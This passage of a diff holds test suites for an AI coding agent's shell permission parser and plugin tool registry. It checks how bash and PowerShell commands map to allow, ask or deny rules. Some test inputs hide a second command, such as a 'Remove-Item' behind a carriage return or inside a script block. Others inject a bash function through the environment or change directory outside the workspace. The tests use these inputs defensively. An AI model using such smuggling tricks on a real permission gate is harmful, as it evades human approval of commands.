||||
savedEffect: ["allow", "allow"],
|
||||
exactEffect: ["allow", "allow"],
|
||||
deniedEffect: ["deny", "deny"],
|
||||
},
|
||||
{
|
||||
name: "declarations and unset",
|
||||
shell: "bash",
|
||||
command: "export X=value; unset X; git status",
|
||||
approved: ["git status *"],
|
||||
exact: ["git status"],
|
||||
denied: "export *",
|
||||
savedEffect: ["allow", "allow"],
|
||||
exactEffect: ["allow", "allow"],
|
||||
deniedEffect: ["allow", "allow"],
|
||||
},
|
||||
{
|
||||
name: "export with an approved command substitution",
|
||||
shell: "bash",
|
||||
command: "export VERSION=$(git describe --tags); npm run build",
|
||||
approved: ["git describe *", "npm run build *"],
|
||||
exact: ["git describe --tags", "npm run build"],
|
||||
denied: "export *",
|
||||
savedEffect: ["allow", "allow"],
|
||||
exactEffect: ["allow", "allow"],
|
||||
deniedEffect: ["allow", "allow"],
|
||||
},
|
||||
{
|
||||
name: "export retains checks on the command substitution",
|
||||
shell: "bash",
|
||||
command: "export VERSION=$(git describe --tags); npm run build",
|
||||
approved: ["git describe *", "npm run build *"],
|
||||
exact: ["git describe --tags", "npm run build"],
|
||||
denied: "git describe *",
|
||||
savedEffect: ["allow", "allow"],
|
||||
exactEffect: ["allow", "allow"],
|
||||
deniedEffect: ["deny", "deny"],
|
||||
},
|
||||
{
|
||||
name: "redirect after a conditional list",
|
||||
shell: "bash",
|
||||
command: "printf ok && git status > output",
|
||||
approved: ["printf *", "git status *"],
|
||||
exact: ["printf ok", "git status"],
|
||||
denied: "git status",
|
||||
savedEffect: ["allow", "allow"],
|
||||
exactEffect: ["allow", "allow"],
|
||||
deniedEffect: ["deny", "deny"],
|
||||
},
|
||||
{
|
||||
name: "redirect after a pipeline",
|
||||
shell: "bash",
|
||||
command: "printf ok | cat < input > output",
|
||||
approved: ["printf *", "cat *"],
|
||||
exact: ["printf ok", "cat"],
|
||||
denied: "cat",
|
||||
savedEffect: ["allow", "allow"],
|
||||
exactEffect: ["allow", "allow"],
|
||||
deniedEffect: ["deny", "deny"],
|
||||
},
|
||||
{
|
||||
name: "assignment redirect followed by a command",
|
||||
shell: "bash",
|
||||
command: "FOO=bar > output; printf done",
|
||||
approved: ["printf *"],
|
||||
exact: ["printf done"],
|
||||
denied: "FOO=bar > output; printf done",
|
||||
savedEffect: ["ask", "allow"],
|
||||
exactEffect: ["ask", "allow"],
|
||||
deniedEffect: ["deny", "allow"],
|
||||
},
|
||||
{
|
||||
name: "assignment redirect with an approved command substitution",
|
||||
shell: "bash",
|
||||
command: "VERSION=$(git describe --tags) > build/version.txt",
|
||||
approved: ["git describe *"],
|
||||
exact: ["git describe --tags"],
|
||||
denied: "VERSION=$(git describe --tags) > build/version.txt",
|
||||
savedEffect: ["ask", "allow"],
|
||||
exactEffect: ["ask", "allow"],
|
||||
deniedEffect: ["deny", "allow"],
|
||||
},
|
||||
{
|
||||
name: "substitution in a saved prefix",
|
||||
shell: "bash",
|
||||
command: "git $(printf diff) --stat",
|
||||
approved: ["git *", "printf *"],
|
||||
exact: ["git $(printf diff) --stat", "printf diff"],
|
||||
denied: "git $(printf diff) --stat",
|
||||
savedEffect: ["allow", "allow"],
|
||||
exactEffect: ["allow", "allow"],
|
||||
deniedEffect: ["deny", "deny"],
|
||||
},
|
||||
{
|
||||
name: "standalone PowerShell scriptblock caller",
|
||||
shell: "pwsh",
|
||||
command: "ForEach-Object { Write-Output value }",
|
||||
approved: ["Write-Output *"],
|
||||
exact: ["Write-Output value"],
|
||||
denied: "ForEach-Object *",
|
||||
savedEffect: ["allow", "allow"],
|
||||
exactEffect: ["allow", "allow"],
|
||||
deniedEffect: ["allow", "allow"],
|
||||
},
|
||||
{
|
||||
name: "tab-separated PowerShell command",
|
||||
shell: "pwsh",
|
||||
command: "git\tstatus; Write-Output done",
|
||||
approved: ["git status *", "Write-Output *"],
|
||||
exact: ["git status", "Write-Output done"],
|
||||
denied: "git\tstatus",
|
||||
savedEffect: ["allow", "ask"],
|
||||
exactEffect: ["allow", "ask"],
|
||||
deniedEffect: ["allow", "deny"],
|
||||
},
|
||||
{
|
||||
name: "PowerShell equals-joined argument",
|
||||
shell: "pwsh",
|
||||
command: "git --work-tree=src status",
|
||||
approved: ["git --work-tree *"],
|
||||
exact: ["git --work-tree"],
|
||||
denied: "git --work-tree",
|
||||
savedEffect: ["allow", "ask"],
|
||||
exactEffect: ["allow", "ask"],
|
||||
deniedEffect: ["deny", "allow"],
|
||||
},
|
||||
] as const) {
|
||||
for (const scenario of [
|
||||
{ name: "no approval", saved: [], rules: [], expected: ["ask", "ask"] },
|
||||
{ name: "saved wildcard", saved: ["*"], rules: [], expected: ["allow", "allow"] },
|
||||
{ name: "saved command approvals", saved: fixture.approved, rules: [], expected: fixture.savedEffect },
|
||||
{
|
||||
name: "exact configured approvals",
|
||||
saved: [],
|
||||
rules: fixture.exact.map((resource): Permission.Rule => ({ action: "shell", resource, effect: "allow" })),
|
||||
expected: fixture.exactEffect,
|
||||
},
|
||||
{
|
||||
name: "exact saved approvals",
|
||||
saved: fixture.exact,
|
||||
rules: [],
|
||||
expected: fixture.exactEffect,
|
||||
},
|
||||
{
|
||||
name: "configured deny despite saved wildcard",
|
||||
saved: ["*"],
|
||||
rules: [{ action: "shell", resource: fixture.denied, effect: "deny" }] satisfies Permission.Ruleset,
|
||||
expected: fixture.deniedEffect,
|
||||
},
|
||||
] as const) {
|
||||
it.live(`${fixture.name}: ${scenario.name}`, () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup(scenario.rules)
|
||||
const saved = yield* PermissionSaved.Service
|
||||
yield* saved.add({ projectID: Project.ID.global, action: "shell", resources: scenario.saved })
|
||||
const service = yield* Permission.Service
|
||||
|
||||
for (const [index, portable] of [false, true].entries()) {
|
||||
const parsed = yield* ShellParse.scan(fixture.command, fixture.shell, "/project", { portable })
|
||||
expect(parsed.commands.length).toBeGreaterThan(0)
|
||||
expect(parsed.directories).toEqual([])
|
||||
const result = yield* service.ask(
|
||||
assertion({
|
||||
action: "shell",
|
||||
resources: parsed.commands.map((command) => command.resource),
|
||||
save: parsed.commands.map((command) => command.save),
|
||||
}),
|
||||
)
|
||||
expect(result.effect, portable ? "native" : "legacy").toBe(scenario.expected[index])
|
||||
const pending = yield* service.list()
|
||||
expect(pending).toHaveLength(result.effect === "ask" ? 1 : 0)
|
||||
if (result.effect !== "ask") continue
|
||||
expect(pending[0]?.resources).toEqual(parsed.commands.map((command) => command.resource))
|
||||
expect(pending[0]?.save).toEqual(parsed.commands.map((command) => command.save))
|
||||
yield* service.reply({ requestID: result.id, reply: "once" })
|
||||
expect(yield* service.list()).toEqual([])
|
||||
}
|
||||
}),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// Grant/repeat rows select the granting parser; repeat columns select the parser used afterwards.
|
||||
for (const fixture of [
|
||||
{
|
||||
name: "numeric npm script prefix",
|
||||
shell: "bash",
|
||||
command: "npm run 123",
|
||||
grants: [["npm run *"], ["npm run 123 *"]],
|
||||
repeat: [
|
||||
["allow", "allow"],
|
||||
["allow", "allow"],
|
||||
],
|
||||
next: "npm run build",
|
||||
nextEffect: ["allow", "ask"],
|
||||
},
|
||||
{
|
||||
name: "numeric AWS option prefix",
|
||||
shell: "bash",
|
||||
command: "aws --cli-read-timeout 60 s3 ls",
|
||||
grants: [["aws --cli-read-timeout s3 *"], ["aws --cli-read-timeout 60 *"]],
|
||||
repeat: [
|
||||
["ask", "ask"],
|
||||
["allow", "allow"],
|
||||
],
|
||||
next: "aws --cli-read-timeout 60 ec2 describe-instances",
|
||||
nextEffect: ["ask", "allow"],
|
||||
},
|
||||
{
|
||||
name: "substitution prefix",
|
||||
shell: "bash",
|
||||
command: "git $(printf diff) --stat",
|
||||
grants: [
|
||||
["git --stat *", "printf *"],
|
||||
["git $(printf diff) *", "printf *"],
|
||||
],
|
||||
repeat: [
|
||||
["ask", "ask"],
|
||||
["allow", "allow"],
|
||||
],
|
||||
next: "git --stat",
|
||||
nextEffect: ["allow", "ask"],
|
||||
},
|
||||
{
|
||||
name: "redirect prefix",
|
||||
shell: "bash",
|
||||
command: "printf ok && git status > output",
|
||||
grants: [
|
||||
["printf *", "git status *"],
|
||||
["printf *", "git status *"],
|
||||
],
|
||||
repeat: [
|
||||
["allow", "allow"],
|
||||
["allow", "allow"],
|
||||
],
|
||||
next: "git status --short",
|
||||
nextEffect: ["allow", "allow"],
|
||||
},
|
||||
{
|
||||
name: "assignment redirect prefix",
|
||||
shell: "bash",
|
||||
command: "FOO=bar > output; printf done",
|
||||
grants: [["printf *"], ["printf *"]],
|
||||
// Identical saved rules cover only the native resource, regardless of which parser saved them.
|
||||
repeat: [
|
||||
["ask", "allow"],
|
||||
["ask", "allow"],
|
||||
],
|
||||
next: "printf next",
|
||||
nextEffect: ["allow", "allow"],
|
||||
},
|
||||
{
|
||||
name: "PowerShell tab prefix",
|
||||
shell: "pwsh",
|
||||
command: "git\tstatus; Write-Output done",
|
||||
grants: [["Write-Output *"], ["git\tstatus *", "Write-Output *"]],
|
||||
repeat: [
|
||||
["allow", "ask"],
|
||||
["allow", "allow"],
|
||||
],
|
||||
next: "git status",
|
||||
nextEffect: ["ask", "ask"],
|
||||
},
|
||||
] as const) {
|
||||
for (const [origin, portable] of [false, true].entries()) {
|
||||
it.live(`${fixture.name}: always allow from ${portable ? "native" : "legacy"}, then use either parser`, () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
const service = yield* Permission.Service
|
||||
const saved = yield* PermissionSaved.Service
|
||||
const parsed = yield* ShellParse.scan(fixture.command, fixture.shell, "/project", { portable })
|
||||
const first = yield* service.ask(
|
||||
assertion({
|
||||
action: "shell",
|
||||
resources: parsed.commands.map((command) => command.resource),
|
||||
save: parsed.commands.map((command) => command.save),
|
||||
}),
|
||||
)
|
||||
expect(first.effect).toBe("ask")
|
||||
expect(yield* service.list()).toHaveLength(1)
|
||||
yield* service.reply({ requestID: first.id, reply: "always" })
|
||||
expect(yield* service.list()).toEqual([])
|
||||
expect((yield* saved.list({ projectID: Project.ID.global })).map((rule) => rule.resource).sort()).toEqual(
|
||||
[...fixture.grants[portable ? 1 : 0]].sort(),
|
||||
)
|
||||
|
||||
for (const [index, target] of [false, true].entries()) {
|
||||
for (const command of [fixture.command, fixture.next]) {
|
||||
const parsed = yield* ShellParse.scan(command, fixture.shell, "/project", { portable: target })
|
||||
const result = yield* service.ask(
|
||||
assertion({
|
||||
action: "shell",
|
||||
resources: parsed.commands.map((command) => command.resource),
|
||||
save: parsed.commands.map((command) => command.save),
|
||||
}),
|
||||
)
|
||||
expect(result.effect, `${target ? "native" : "legacy"}: ${command}`).toBe(
|
||||
command === fixture.next ? fixture.nextEffect[origin] : fixture.repeat[origin]?.[index],
|
||||
)
|
||||
if (result.effect === "ask") yield* service.reply({ requestID: result.id, reply: "once" })
|
||||
expect(yield* service.list()).toEqual([])
|
||||
}
|
||||
}
|
||||
}),
|
||||
)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
@@ -114,6 +114,7 @@ export function host(overrides: Overrides = {}): Plugin.Context {
|
||||
},
|
||||
tool: overrides.tool ?? {
|
||||
transform: () => Effect.die("unused tool.transform"),
|
||||
reload: () => Effect.die("unused tool.reload"),
|
||||
hook: () => Effect.die("unused tool.hook"),
|
||||
},
|
||||
vcs: overrides.vcs ?? {
|
||||
|
||||
@@ -72,6 +72,7 @@ const run = Effect.fnUntraced(function* (events: ReadonlyArray<SessionEvent.Agen
|
||||
},
|
||||
tool: {
|
||||
transform: () => Effect.die("unused tool.transform"),
|
||||
reload: () => Effect.die("unused tool.reload"),
|
||||
hook: (name, callback) => {
|
||||
if (name === "execute.after") {
|
||||
// Hook names and callbacks are correlated, but TypeScript does not narrow this generic registration API.
|
||||
|
||||
@@ -636,4 +636,77 @@ describe("fromPromise", () => {
|
||||
})
|
||||
}),
|
||||
)
|
||||
|
||||
it.live("adapts tool mutation, replay, and disposal through the Promise API", () =>
|
||||
Effect.gen(function* () {
|
||||
const plugins = yield* Plugin.Service
|
||||
const registry = yield* Tool.Service
|
||||
const host = yield* PluginHost.make(plugins)
|
||||
const progress: Tool.Metadata[] = []
|
||||
let greeting = "Hello"
|
||||
let registration: { dispose(): Promise<void> } | undefined
|
||||
yield* host.tool.transform((draft) => {
|
||||
const text = greeting
|
||||
draft.add({
|
||||
name: "hello",
|
||||
description: "Hello",
|
||||
options: { namespace: "acme", codemode: false },
|
||||
input: Schema.Struct({ name: Schema.String }),
|
||||
output: Schema.String,
|
||||
execute: ({ name }, context) =>
|
||||
context.progress({ phase: "original" }).pipe(Effect.as({ output: `${text}, ${name}!` })),
|
||||
})
|
||||
draft.add({
|
||||
name: "temporary",
|
||||
description: "Temporary",
|
||||
input: Schema.Struct({}),
|
||||
options: { codemode: false },
|
||||
execute: () => Effect.succeed({ content: "temporary" }),
|
||||
})
|
||||
})
|
||||
yield* PluginPromise.fromPromise(
|
||||
define({
|
||||
id: "promise-update",
|
||||
setup: async (ctx) => {
|
||||
registration = await ctx.tool.transform((draft) => {
|
||||
draft.update("missing", () => {
|
||||
throw new Error("must not create a tool")
|
||||
})
|
||||
draft.update("acme_hello", (tool) => {
|
||||
const execute = tool.execute
|
||||
tool.description = "Wrapped"
|
||||
tool.execute = async (input, context) => {
|
||||
const result = await execute(input, context)
|
||||
return { ...result, output: `${result.output} Wrapped.` }
|
||||
}
|
||||
})
|
||||
draft.remove("temporary")
|
||||
})
|
||||
greeting = "Hi"
|
||||
await ctx.tool.reload()
|
||||
},
|
||||
}),
|
||||
).effect(host)
|
||||
const snapshot = yield* registry.snapshot()
|
||||
expect(snapshot.definitions.map((tool) => tool.name)).toEqual(["acme_hello", "execute"])
|
||||
expect(snapshot.definitions[0]?.description).toBe("Wrapped")
|
||||
expect(
|
||||
yield* snapshot.execute({
|
||||
sessionID: Session.ID.make("ses_promise_update"),
|
||||
agent: Agent.ID.make("build"),
|
||||
messageID: SessionMessage.ID.make("msg_promise_update"),
|
||||
progress: (value) => Effect.sync(() => progress.push(value)),
|
||||
call: { type: "tool-call", id: "call_promise_update", name: "acme_hello", input: { name: "world" } },
|
||||
}),
|
||||
).toMatchObject({ output: "Hi, world! Wrapped." })
|
||||
expect(progress).toEqual([{ phase: "original" }])
|
||||
const registered = registration
|
||||
if (!registered) throw new Error("Expected registration")
|
||||
yield* Effect.promise(() => registered.dispose())
|
||||
yield* Effect.promise(() => registered.dispose())
|
||||
const restored = yield* registry.snapshot()
|
||||
expect(restored.definitions.map((tool) => tool.name)).toEqual(["acme_hello", "temporary", "execute"])
|
||||
expect(restored.definitions[0]?.description).toBe("Hello")
|
||||
}),
|
||||
)
|
||||
})
|
||||
|
||||
@@ -7,6 +7,7 @@ import { PluginHooks } from "@opencode-ai/core/plugin/hooks"
|
||||
import { Session } from "@opencode-ai/core/session"
|
||||
import { SessionMessage } from "@opencode-ai/core/session/message"
|
||||
import { Tool } from "@opencode-ai/core/tool"
|
||||
import { State } from "@opencode-ai/core/state"
|
||||
import type { Info } from "@opencode-ai/schema/tool"
|
||||
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
|
||||
import { executeTool, toolDefinitions } from "./lib/tool"
|
||||
@@ -71,6 +72,138 @@ const transform = (service: Tool.Interface, tools: Readonly<Record<string, Info>
|
||||
)
|
||||
|
||||
describe("Tool", () => {
|
||||
it.live("replays updates and removals on reload and restores definitions on disposal", () =>
|
||||
Effect.gen(function* () {
|
||||
const service = yield* Tool.Service
|
||||
let text = "original"
|
||||
const source = yield* service.transform((draft) =>
|
||||
draft.add({
|
||||
...constant(text),
|
||||
name: "echo",
|
||||
description: text,
|
||||
options: { namespace: "acme", codemode: false },
|
||||
}),
|
||||
)
|
||||
yield* transform(service, { echo: make() }, { namespace: "other", codemode: false })
|
||||
const before = yield* service.snapshot()
|
||||
const update = yield* service.transform((draft) => {
|
||||
draft.update("missing", () => {
|
||||
throw new Error("must not create a tool")
|
||||
})
|
||||
draft.update("acme_echo", (tool) => {
|
||||
tool.description += " updated"
|
||||
const execute = tool.execute
|
||||
tool.execute = (input, context) =>
|
||||
execute(input, context).pipe(
|
||||
Effect.map((result) => ({ ...result, output: { text: `${result.output.text} updated` } })),
|
||||
)
|
||||
})
|
||||
})
|
||||
const removal = yield* service.transform((draft) => {
|
||||
draft.remove("missing")
|
||||
draft.remove("other_echo")
|
||||
})
|
||||
const updated = yield* service.snapshot()
|
||||
expect(updated.definitions.map((tool) => tool.name)).toEqual(["acme_echo", "execute"])
|
||||
expect(updated.definitions[0]?.description).toBe("original updated")
|
||||
expect((yield* updated.execute(call("acme_echo"))).output).toEqual({ text: "original updated" })
|
||||
text = "refreshed"
|
||||
yield* service.reload()
|
||||
const reloaded = yield* service.snapshot()
|
||||
expect(reloaded.definitions.map((tool) => tool.name)).toEqual(["acme_echo", "execute"])
|
||||
expect(reloaded.definitions[0]?.description).toBe("refreshed updated")
|
||||
expect((yield* reloaded.execute(call("acme_echo"))).output).toEqual({ text: "refreshed updated" })
|
||||
expect((yield* before.execute(call("acme_echo"))).output).toEqual({ text: "original" })
|
||||
yield* removal.dispose
|
||||
yield* removal.dispose
|
||||
yield* update.dispose
|
||||
const restored = yield* service.snapshot()
|
||||
expect(restored.definitions.map((tool) => tool.name)).toEqual(["acme_echo", "other_echo", "execute"])
|
||||
expect((yield* restored.execute(call("acme_echo"))).output).toEqual({ text: "refreshed" })
|
||||
yield* source.dispose
|
||||
expect((yield* service.snapshot()).definitions.map((tool) => tool.name)).toEqual(["other_echo", "execute"])
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("does not retain an updated tool after its source scope closes", () =>
|
||||
Effect.gen(function* () {
|
||||
const service = yield* Tool.Service
|
||||
const scope = yield* Scope.make()
|
||||
yield* transform(service, { echo: make() }, { codemode: false }).pipe(Scope.provide(scope))
|
||||
yield* service.transform((draft) =>
|
||||
draft.update("echo", (tool) => {
|
||||
tool.description = "Updated"
|
||||
}),
|
||||
)
|
||||
yield* Scope.close(scope, Exit.void)
|
||||
expect((yield* service.snapshot()).definitions.map((tool) => tool.name)).toEqual(["execute"])
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("batches tool transforms with the shared state lifecycle", () =>
|
||||
Effect.gen(function* () {
|
||||
const service = yield* Tool.Service
|
||||
let runs = 0
|
||||
yield* State.batch(
|
||||
Effect.gen(function* () {
|
||||
yield* service.transform((draft) => {
|
||||
runs++
|
||||
draft.add({ ...make(), options: { codemode: false } })
|
||||
})
|
||||
yield* service.transform((draft) =>
|
||||
draft.update("echo", (tool) => {
|
||||
tool.description = "Batched"
|
||||
}),
|
||||
)
|
||||
expect(runs).toBe(0)
|
||||
}),
|
||||
)
|
||||
expect(runs).toBe(1)
|
||||
expect((yield* service.snapshot()).definitions[0]?.description).toBe("Batched")
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("skips invalid updates without dropping the existing definition", () =>
|
||||
Effect.gen(function* () {
|
||||
const service = yield* Tool.Service
|
||||
yield* transform(service, { echo: make() }, { codemode: false })
|
||||
yield* service.transform((draft) =>
|
||||
draft.update("echo", (tool) => {
|
||||
Object.assign(tool, { description: undefined })
|
||||
}),
|
||||
)
|
||||
expect((yield* service.snapshot()).definitions[0]?.description).toBe("Echo text")
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("updates newly added tools and applies removals in order", () =>
|
||||
Effect.gen(function* () {
|
||||
const service = yield* Tool.Service
|
||||
yield* service.transform((draft) => {
|
||||
draft.add({ ...make(), options: { codemode: false } })
|
||||
draft.update("echo", (tool) => {
|
||||
tool.description = "Updated"
|
||||
tool.input = Schema.Struct({ value: Schema.Number })
|
||||
tool.output = Schema.Number
|
||||
tool.execute = ({ value }) => Effect.succeed({ output: value * 2 })
|
||||
})
|
||||
draft.add({ ...make(), name: "removed" })
|
||||
draft.remove("removed")
|
||||
draft.add({ ...make(), name: "removed" })
|
||||
draft.remove("removed")
|
||||
})
|
||||
const snapshot = yield* service.snapshot()
|
||||
expect(snapshot.definitions.map((tool) => tool.name)).toEqual(["echo", "execute"])
|
||||
expect(snapshot.definitions[0]?.description).toBe("Updated")
|
||||
expect(
|
||||
(yield* snapshot.execute({
|
||||
...call("echo"),
|
||||
call: { type: "tool-call", id: "updated", name: "echo", input: { value: 3 } },
|
||||
})).output,
|
||||
).toBe(6)
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("logs and skips invalid dotted namespaces", () => {
|
||||
const output: unknown[] = []
|
||||
const logger = Logger.map(Logger.formatStructured, (entry) => {
|
||||
|
||||
@@ -0,0 +1,234 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { Effect } from "effect"
|
||||
import { ShellParse } from "../src/shell/parse.js"
|
||||
|
||||
describe("portable shell parser compatibility", () => {
|
||||
test.each([
|
||||
["bash", "echo $((1+1))", {}],
|
||||
["bash", "echo $((1 + $(printf hidden)))", {}],
|
||||
["bash", "cd ~/project", {}],
|
||||
["bash", "cd src&&cd..", {}],
|
||||
["bash", "cd src && cd .. && git status", {}],
|
||||
["zsh", "git status", {}],
|
||||
["fish", "git status", {}],
|
||||
["bash", "git status", { BASH_ENV: "/startup" }],
|
||||
["bash", "git status", { "BASH_FUNC_cd%%": "() { :; }" }],
|
||||
["bash", "cd $HOME; pwd", { HOME: "/session-home" }],
|
||||
["bash", "cd; pwd", { HOME: "/session-home" }],
|
||||
["bash", 'target=/outside; cd "$target"; pwd', {}],
|
||||
["bash", "cd 'src dir' && git status", {}],
|
||||
["bash", 'cd "src dir"; cd escaped\\ space', {}],
|
||||
["bash", "cd '$HOME'; cd '~/outside'", {}],
|
||||
["bash", 'g""it status', {}],
|
||||
["bash", 'npm "run" test', {}],
|
||||
["bash", "git '*'", {}],
|
||||
["bash", "FOO=bar git status", {}],
|
||||
["bash", "HOME=/outside; cd; pwd", {}],
|
||||
["bash", "CDPATH=/outside cd child", {}],
|
||||
["bash", "cd child; pwd", { CDPATH: "/outside" }],
|
||||
["bash", "cd /workspace > output", {}],
|
||||
["bash", "export X=value; unset X; git status", {}],
|
||||
["bash", "printf ok && git status > output", {}],
|
||||
["bash", "printf ok | cat < input > output", {}],
|
||||
["bash", "cd -- -/../../../etc; pwd", {}],
|
||||
["bash", "cd -; pushd; popd; pwd", {}],
|
||||
["bash", "command cd /outside; builtin cd /elsewhere", {}],
|
||||
["pwsh", "Get-ChildItem | ForEach-Object { Write-Output $_ }", {}],
|
||||
["pwsh", "ForEach-Object { Remove-Item victim }", {}],
|
||||
["pwsh", "Set-Location -LiteralPath '../outside'; Get-ChildItem", {}],
|
||||
["pwsh", "Set-Location -LiteralPath:/outside", {}],
|
||||
["pwsh", "Set-Location -LiteralPath:'/outside path'", {}],
|
||||
["pwsh", 'Set-Location -PATH:"../outside path"', {}],
|
||||
["pwsh", "Set-Location $HOME; Set-Location $PWD; Set-Location $target", { HOME: "/session-home" }],
|
||||
["pwsh", "Set-Item Env:T /outside; Set-Location $env:T", { T: "/workspace" }],
|
||||
["pwsh", "sl /outside; Microsoft.PowerShell.Management\\Set-Location /outside", {}],
|
||||
] as const)(
|
||||
"matches supported legacy resources, saved prefixes, and directories natively: %s %s %j",
|
||||
async (shell, command, env) => {
|
||||
if (Object.keys(env).length > 0) {
|
||||
const child = Bun.spawn({
|
||||
cmd: [
|
||||
process.execPath,
|
||||
"--eval",
|
||||
`
|
||||
import { Effect } from "effect"
|
||||
import { ShellParse } from "./src/shell/parse.ts"
|
||||
const command = ${JSON.stringify(command)}
|
||||
const shell = ${JSON.stringify(shell)}
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
|
||||
const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
|
||||
const native = await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))
|
||||
console.log(JSON.stringify([legacy, portable, native]))
|
||||
`,
|
||||
],
|
||||
cwd: `${import.meta.dir}/..`,
|
||||
env: { ...process.env, ...env },
|
||||
stdout: "pipe",
|
||||
stderr: "pipe",
|
||||
})
|
||||
const [output, error, code] = await Promise.all([
|
||||
new Response(child.stdout).text(),
|
||||
new Response(child.stderr).text(),
|
||||
child.exited,
|
||||
])
|
||||
expect(code, error).toBe(0)
|
||||
const [legacy, portable, native] = JSON.parse(output)
|
||||
expect(portable).toEqual(legacy)
|
||||
expect(native).toEqual(legacy)
|
||||
return
|
||||
}
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
|
||||
const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
|
||||
expect(portable).toEqual(legacy)
|
||||
expect(await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))).toEqual(legacy)
|
||||
},
|
||||
)
|
||||
|
||||
test("derives the legacy prefix for long argument lists", async () => {
|
||||
const command = `echo ${"x ".repeat(16_000)}`.trimEnd()
|
||||
const result = await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace", { portable: true }))
|
||||
expect(result).toEqual({ commands: [{ resource: command, save: "echo *" }], directories: [] })
|
||||
})
|
||||
|
||||
test("extracts inline PowerShell directory flags with case-insensitive names and quoted values", async () => {
|
||||
const result = await Effect.runPromise(
|
||||
ShellParse.scanPortable(
|
||||
"Set-Location -LITERALPATH:C:\\outside; Set-Location -pAtH:'../other dir'",
|
||||
"pwsh",
|
||||
"/workspace",
|
||||
),
|
||||
)
|
||||
expect(result).toEqual({ commands: [], directories: ["C:\\outside", "../other dir"] })
|
||||
})
|
||||
})
|
||||
|
||||
describe("current native and legacy parity gaps", () => {
|
||||
// These are observed parser gaps, not permission-policy changes that must be preserved.
|
||||
for (const fixture of [
|
||||
{
|
||||
name: "native omits the legacy empty command-name node for an assignment with redirection",
|
||||
shell: "bash",
|
||||
command: "FOO=bar > output",
|
||||
legacy: { commands: [{ resource: "FOO=bar > output", save: " *" }], directories: [] },
|
||||
native: { commands: [], directories: [] },
|
||||
},
|
||||
{
|
||||
name: "native retains nested executable commands without the legacy empty assignment command-name node",
|
||||
shell: "bash",
|
||||
command: "FOO=$(printf value) > output",
|
||||
legacy: {
|
||||
commands: [
|
||||
{ resource: "FOO=$(printf value) > output", save: " *" },
|
||||
{ resource: "printf value", save: "printf *" },
|
||||
],
|
||||
directories: [],
|
||||
},
|
||||
native: { commands: [{ resource: "printf value", save: "printf *" }], directories: [] },
|
||||
},
|
||||
{
|
||||
name: "native keeps numeric arguments in saved prefixes",
|
||||
shell: "bash",
|
||||
command: "git 2 status",
|
||||
legacy: { commands: [{ resource: "git 2 status", save: "git status *" }], directories: [] },
|
||||
native: { commands: [{ resource: "git 2 status", save: "git 2 *" }], directories: [] },
|
||||
},
|
||||
{
|
||||
name: "native keeps numeric directory names and operator-shaped arguments",
|
||||
shell: "bash",
|
||||
command: "cd 123; git == value",
|
||||
legacy: { commands: [{ resource: "git == value", save: "git value *" }], directories: [] },
|
||||
native: { commands: [{ resource: "git == value", save: "git == *" }], directories: ["123"] },
|
||||
},
|
||||
{
|
||||
name: "native preserves substitution source in saved prefixes instead of skipping the argument",
|
||||
shell: "bash",
|
||||
command: "git $(printf status) diff",
|
||||
legacy: {
|
||||
commands: [
|
||||
{ resource: "git $(printf status) diff", save: "git diff *" },
|
||||
{ resource: "printf status", save: "printf *" },
|
||||
],
|
||||
directories: [],
|
||||
},
|
||||
native: {
|
||||
commands: [
|
||||
{ resource: "git $(printf status) diff", save: "git $(printf status) *" },
|
||||
{ resource: "printf status", save: "printf *" },
|
||||
],
|
||||
directories: [],
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "directory line continuations remain unresolved source rather than legacy split operands",
|
||||
shell: "bash",
|
||||
command: "cd before\\\nafter",
|
||||
legacy: { commands: [], directories: ["before", "after"] },
|
||||
native: { commands: [], directories: ["before\\\nafter"] },
|
||||
},
|
||||
{
|
||||
name: "native recognizes PowerShell carriage-return separators omitted by the legacy AST",
|
||||
shell: "pwsh",
|
||||
command: "Get-ChildItem\rRemove-Item victim",
|
||||
legacy: { commands: [], directories: [] },
|
||||
native: {
|
||||
commands: [
|
||||
{ resource: "Get-ChildItem", save: "Get-ChildItem *" },
|
||||
{ resource: "Remove-Item victim", save: "Remove-Item *" },
|
||||
],
|
||||
directories: [],
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "native recognizes tab-separated PowerShell commands omitted by the legacy AST",
|
||||
shell: "pwsh",
|
||||
command: "git\tstatus",
|
||||
legacy: { commands: [], directories: [] },
|
||||
native: { commands: [{ resource: "git\tstatus", save: "git\tstatus *" }], directories: [] },
|
||||
},
|
||||
{
|
||||
name: "native preserves complete PowerShell flag=value resources",
|
||||
shell: "pwsh",
|
||||
command: "git --flag=value",
|
||||
legacy: { commands: [{ resource: "git --flag", save: "git --flag *" }], directories: [] },
|
||||
native: { commands: [{ resource: "git --flag=value", save: "git --flag=value *" }], directories: [] },
|
||||
},
|
||||
{
|
||||
name: "native does not split comma-separated PowerShell directory operands",
|
||||
shell: "pwsh",
|
||||
command: "Set-Location a,b",
|
||||
legacy: { commands: [], directories: ["a", ",b"] },
|
||||
native: { commands: [], directories: ["a,b"] },
|
||||
},
|
||||
]) {
|
||||
test(fixture.name, async () => {
|
||||
const native = await Effect.runPromise(ShellParse.scanPortable(fixture.command, fixture.shell, "/workspace"))
|
||||
expect(native).toEqual(fixture.native)
|
||||
expect(await Effect.runPromise(ShellParse.scan(fixture.command, fixture.shell, "/workspace"))).toEqual(
|
||||
fixture.legacy,
|
||||
)
|
||||
expect(
|
||||
await Effect.runPromise(ShellParse.scan(fixture.command, fixture.shell, "/workspace", { portable: true })),
|
||||
).toEqual(native)
|
||||
expect(native).not.toEqual(fixture.legacy)
|
||||
